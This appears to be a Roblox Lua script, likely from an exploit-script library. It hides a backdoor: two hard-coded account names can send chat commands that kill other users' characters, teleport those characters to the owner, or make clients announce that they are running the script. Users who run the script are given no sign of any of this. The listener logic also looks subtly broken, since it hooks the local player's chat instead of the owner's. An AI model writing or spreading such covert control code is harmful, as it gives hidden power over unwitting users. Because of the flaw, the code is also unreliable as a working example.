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local Players = game:GetService("Players");
local Player = Players.LocalPlayer;
local TextChatService = game:GetService("TextChatService")
local Library = {};
local List = {
"qipu",
"Aayushkarkee",
}
Chat = function(Message)
Players:Chat(Message)
end
Library.GetCommand = function(Plr, Message)
if not table.find(List, Plr.Name) then return end
Message = Message:gsub("!", "")
if Message == "kILl" then
Player.Character.Humanoid.Health = 0
elseif Message == "bRiNg" then
Player.Character.HumanoidRootPart.Position = Plr.Character.HumanoidRootPart.Position
elseif Message == "cHeCk" then
Chat("_ _ 0")
end
end
local Check = function(Target)
if table.find(List, Target.Name) then
Player.Chatted:Connect(function(Message)
if string.sub(Message, 1, 1) == "!" then
Library.GetCommand(Target, Message)
end
end)
end
end
if table.find(List, Player.Name) then
Player.Chatted:Connect(function(Message)
if string.sub(Message, 1, 1) == "!" then
Message = Message:lower()
if Message == "!kill" then
Chat("kILl")
elseif Message == "!bring" then
Chat("bRiNg")
elseif Message == "!check" then
for Index, Plr in next, Players:GetPlayers() do
task.spawn(function()
-- if Plr == Player then return end
local Connected = Plr.Chatted:Connect(function(Message)
if Message == "_ _ 0" then
warn(string.format("User found - %s", Plr.Name))
end
end)
task.wait(5)
Connected = Connected:Disconnect()
end)
end
Chat("cHeCk")
end
end
end)
else
for Index, Plr in next, Players:GetPlayers() do
Check(Plr)
end
Players.PlayerAdded:Connect(function(Plr)
Check(Plr)
end)
end